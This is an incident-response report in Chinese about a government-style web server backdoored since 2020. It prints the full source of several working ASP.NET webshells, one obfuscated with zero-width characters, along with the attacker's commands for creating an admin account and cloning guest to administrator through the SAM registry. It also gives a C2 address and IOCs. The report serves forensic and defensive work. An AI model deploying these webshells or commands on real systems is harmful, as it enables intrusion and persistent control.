1. 概述
近期收到用户需要进行应急响应的支撑,主要表现为用户使用的阿里云平台告警存在webshell行为,通过人工登陆进行分析,发现用户的官网服务器在2020年就被植入webshell,通过分析还发现还被植入CS马,远控工具,被长期控制超2年。通过分析发现前期植入的马做了不错的免杀,两年前的马到现在很多杀软还无法检测到。
2. 应急响应过程
2.1入侵概述
通过样本、日志、流量分析,还原后整个攻击链如下所示:
通过TDP以及阿里云平台告警,可以看到在2023年4月16日5:56分左右官网服务器(192.168.6.85)被入侵:
被入侵的表现有:
连接CS和MSF远控,其C2为39.109.123.174
服务器被植入webshell,攻击IP为206.238.42.83
下载GotoHTTP远控软件
通过mshta白加黑方式加载恶意软件,http://39.109.123.174:805/
下载挖矿软件并落地执行(非本次攻击事件)
创造异常账号adminweb并将其加入到管理员组;同时修改guest密码同时,其为克隆账号
2.2 Webshell分析
通过阿里云平台告警发现在2023年4月16日5:52有webshell上传行为,
其上传的路径为: e:/wwwroot/xxxx/www/news/123123.asmx
相关的样本内容为:
<%@ WebService Language="C#" Class="WebService1" %> public class WebService1 : System.Web.Services.WebService { [System.Web.Services.WebMethod(EnableSession = true)] public string pass(string pass) { System.Text.StringBuilder stringBuilder = new System.Text.StringBuilder(); try { string key = "3c6e0b8a9c15224a"; string pass_pass = "pass"; string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass_pass + key))).Replace("-", ""); byte[] data = System.Convert.FromBase64String(System.Web.HttpUtility.UrlDecode(pass)); data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length); if (Context.Session["payload"] == null) { Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data }); ; } else { object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY"); System.IO.MemoryStream outStream = new System.IO.MemoryStream(); o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString(); byte[] r = outStream.ToArray(); stringBuilder.Append(md5.Substring(0, 16)); stringBuilder.Append(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); stringBuilder.Append(md5.Substring(16)); } } catch (System.Exception) { } return stringBuilder.ToString(); } } |
同时通过TDP也发现webshell连接的情况
其webshell的路径为:e:/wwwroot/xxxxx/www/news/viewlise.aspx
<%@ Page Language="cs" %> <%@Import Namespace="System.Reflection" %> <script runat="server"> private byte[] Decrypt(byte[] data) { string key="7b8eeb584132631e"; data = Convert.FromBase64String(System.Text.Encoding.UTF8.GetString(data)); System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged(); aes.Mode = System.Security.Cryptography.CipherMode.ECB; aes.Key = Encoding.UTF8.GetBytes(key); aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7; return aes.CreateDecryptor().TransformFinalBlock(data, 0, data.Length); } private byte[] Encrypt(byte[] data) { string key = "7b8eeb584132631e"; System.Security.Cryptography.RijndaelManaged aes = new System.Security.Cryptography.RijndaelManaged(); aes.Mode = System.Security.Cryptography.CipherMode.ECB; aes.Key = Encoding.UTF8.GetBytes(key); aes.Padding = System.Security.Cryptography.PaddingMode.PKCS7; return System.Text.Encoding.UTF8.GetBytes(Convert.ToBase64String(aes.CreateEncryptor().TransformFinalBlock(data, 0, data.Length))); } </script> <% byte[] c=Requestu200C.BinaryRead(Request.ContentLength); string asname=Systemu200C.Text.Encoding.ASCII.GetString(new byte[] {0x53,0x79,0x73,0x74,0x65,0x6d,0x2e,0x52,0x65,0x66,0x6c,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2e,0x41,0x73,0x73,0x65,0x6d,0x62,0x6c,0x79}); Type assembly=Type.GetType(asname); Metu200Chodu200CInfo load = assembly.GetMetu200Chod("Load",new Type[] {new byte[0].GetType()}); object obu200Cj=loadu200C.Invu200Coke(null, new object[]{Decrypt(c)}); Metu200Chodu200CInfo create = assembly.GetMetu200Chod("CreateInstance",new Type[] { "".GetType()}); string nau200Cme = Systemu200C.Text.Encoding.ASCII.GetString(new byte[] { 0x55 }); object pau200Cy=create.Invoku200Ce(obj,new object[] { name }); pay.Equals(this); %> |
由于官网服务器使用IIS,其时间为真实时间相差8小时,所以日志中记录的时间为4月15日21:52分,相关的日志为:
通过时间来看,其创建时间为2020年8月17日14:03
同时,人工分析,还发现其他目录存在viewlise.aspx马,
相关的路径与上传时间如下:
e:wwwrootxxxwwwztbviewlise.aspx
e:wwwrootxxxxwwwnewscmd.aspx
<%@ Page Language="Cs" Debug="true" Trace="false" %> <%@ Import Namespace="System.Diagnostics" %> <script Language="cs" runat="server"> protected void CmdEu180Bxecution(object s, EventArgs ev) { try { string result = RunCmd(cmdPath.Value, cmdArgs.Value); result = FormatCu180BmdOutput(result); outputu180BPanel.Visible = true; outputu180BPanel.InnerHtml = "<hr width="100%" noshade/><pre>" + result + "</pre>"; } catch (Excepu180Btion err) { Respou180Bnse.Write(err.Mesu180Bsage); } } private string Ruu180BnCmd(string cmd, string args) { Procu180Bess proc = new Process(); proc.StartIu180Bnfo.FileName = cmd; proc.Startu180BInfo.Argumu180Bents = args; proc.StartIu180Bnfo.UseShu180BellExecute = false; proc.Staru180BtInfo.RedirectSu180BtandardInput = true; proc.Startu180BInfo.Redirectu180BStandardOutput = true; proc.Staru180BtInfo.RedirectStu180BandardError = true; proc.Start(); return proc.StandardOu180Butput.ReadToEnd(); } private string FormatCu180BmdOutput(string outStr) { return outStr.Repu180Blace("<", "<") .Replu180Bace(">", ">") .Replu180Bace("rn", "<br>"); } </script> <HTML> <HEAD> <title>CMD</title> </HEAD> <body> <form id="commandForm" method="post" runat="server"> <div runat="server" id="inputDiv"> <p>路径:<br/> <input class="input" runat="server" id="cmdPath" type="text" size="100" value="c:windowssystem32cmd.exe"/> </p> 参数:<br/> <input class="input" runat="server" id="cmdArgs" value="/c Set" type="text" size="100"/> <asp:Button ID="submitBtn" CssClass="bt" runat="server" Text="Submit" OnClick="CmdExecution"/> <div id="outputPanel" runat="server" visible="false" enableviewstate="false"> </div> </div> </form> </body> </HTML> |
通过分析汇总,发现的webshell总结如下:
序号 |
Webshell名 |
路径 |
上传时间 |
1 |
123123.asmx |
e:wwwrootxxxxwwwnews |
2023年4月16日5:52 |
2 |
viewlise.aspx |
e:wwwrootxxxxwwwnews |
2020年8月17日14:03 |
3 |
viewlise.aspx |
e:wwwrootxxxxwwwztb |
2020年10月15日10:45 |
4 |
config.aspx |
e:wwwrootxxxxwwwnews |
2023年4月16日5:53 |
2.3 漏洞分析
在进行日志分析的过程中,发现其官网的管理后台,人工分析,发现其使用ueditor,并且其有上传漏洞,可以直接上传webshell:
http://www.xxxx.com/WebsiteManagement/login.aspx
利用该webshell可以控制该台服务器,进行做任意的操作,上传后的shell的路径为:e:wwwrootxxxxwwwRichTextnetupload
2.4 网站配置分析
通过网站配置,可以看到这台服务器上除了有部署官网以外,还部署有以下站点:
序号 |
URL |
功能 |
已知风险 |
1 |
https://3cldi.xxxx.com |
cms管理后台 |
1、使用ueditor,可上传webshell |
2 |
http://www.xxxx.comx |
官网-中文 |
1、前后台放在一起,后台为http://www.xxxxcom/WebsiteManagement/login.aspx 2、后台使用ueditor,可上传webshell |
3 |
https://en.xxxx.com |
官网-英文 |
2.5 恶意软件分析
2.5.1 Gotohttp
通过阿里云安全平台,看到在2023-04-16 06:14:41安装了gotohttp远控软件,安装路径为:C:/ProgramData/Goto.exe
Gotohttp类似于anydesk一样,是一个可以进行远程控制的软件,需要在相关的被控服务器上部署相关的软件:
攻击者在2023-04-16 06:14:53运行了GoTohttp远控软件:
2.5.2 挖矿
通过阿里云平台,发现在2023-04-02 11:56:11有挖矿相关的告警,根据时间来看推测和此次入侵事件无关:
通过微步沙箱分析确实为挖矿的木马
文件MD5:f9746519fa45d9771b8c075d9b3d064e
落地以后文件路径为:C:/Users/admin/Desktop/RServ.exe
在本地查找,发现该文件已被删除
2.5.3 CS马
攻击者在2023-04-16 05:58:56,利用webshell执行白加黑下载CS马,相关的白文件为mshta,相关的C2为:
http://39.109.123.174:805
后期可以通过TDP可以看到相关的连接行为
2.6 账号分析
2.6.1 adminweb
针对adminweb的主要操作为:
1、创建adminweb账号 2、将adminweb加入到管理员组中
<p>2023-04-16 06:17:52 - net user</p>
<p>2023-04-16 06:17:59 - net user adminweb 123!@#qweQWE</p>
<p>2023-04-16 06:18:05 - net user adminweb 123!@#qweQWE /add</p>
<p>2023-04-16 06:18:12 - net localgroup administrators adminweb /add</p>
在2023年4月16日6:17分创建了adminweb这个账号:
同时在2023-04-16 06:34:22删除了adminweb账号
通过过滤相关的路径,可以看到adminweb针对文件的一些操作
2.6.2 guset
针对guest的主要操作为:
2023-04-16 06:15:34修改了guest的密码将guest的密码修改为KAIxin@#5#668利用注册表提权的方式就guest克隆为administrator账号
<p>2023-04-16 06:15:25 - net user geust</p>
<p>2023-04-16 06:15:34 - net user guets KAIxin@#5#668</p>
<p>2023-04-16 06:15:42 - net user guest</p>
<p>2023-04-16 06:15:49 - net user guest KAIxin@#5#668</p>
<p>2023-04-16 06:16:12 - reg export “HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers000001F4” “c:ProgramData1.reg”</p>
<p>2023-04-16 06:16:41 - regedit /s C:ProgramData2.reg</p><p>2023-04-16 06:16:44 - regedit /s C:ProgramData2.reg</p>
3. IOC
C2
39.109.123.174
MD5
f9746519fa45d9771b8c075d9b3d064e 6b4c7ea91d5696369dd0a848586f0b28 146bf5af82b3fbe48b16cef64349d91f f36f360925408d2892c64544c64c4939
4. GoTohttp
4.1 功能说明
关于GoTohttp,和同类远控工具相比,有以下特点:B2C模式,并非传统的C2C模式,只需要在被控的服务器上安装GoTohttp软件即可
功能比较丰富,支持远程语音、远程摄像头、文件传输等
下载完成以后是这个样子的:
直接在浏览器中输入相关的ID和控制码即可连接,整体效果如下所示:
功能如下,整体功能还是比较不错的:
文件传输 系统管理 音视频管理 多系统支持,windows、linux、mac、安卓 .....
4.2 检测
因为其使用的是https加密来通信,所以针对这种加密流量比较好的方式就是检测证书的特征,
通过数据包分析也可以看到相关的证书信息,这样的话检测的时候可以利用其官网域名这个特征来检测,如下所示:
gotohttp.com
通过TDP的检测来看,其是利用证书中的gotohttp.com来检测的
如果是单纯的证书检测,这样的话就比较好绕过了,只需要修改证书主题信息就可以了。
4.3 数据包
如下所示,应该走的就是常规的HTTPS/TLS加解密来进行数据传输
开始建立连接
开始传输数据
追踪TCP流可以看到很明显的GOTOHTTP字符串
原文始发于微信公众号(Ice ThirdSpace):应急响应案例31-一起远控事件应急分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论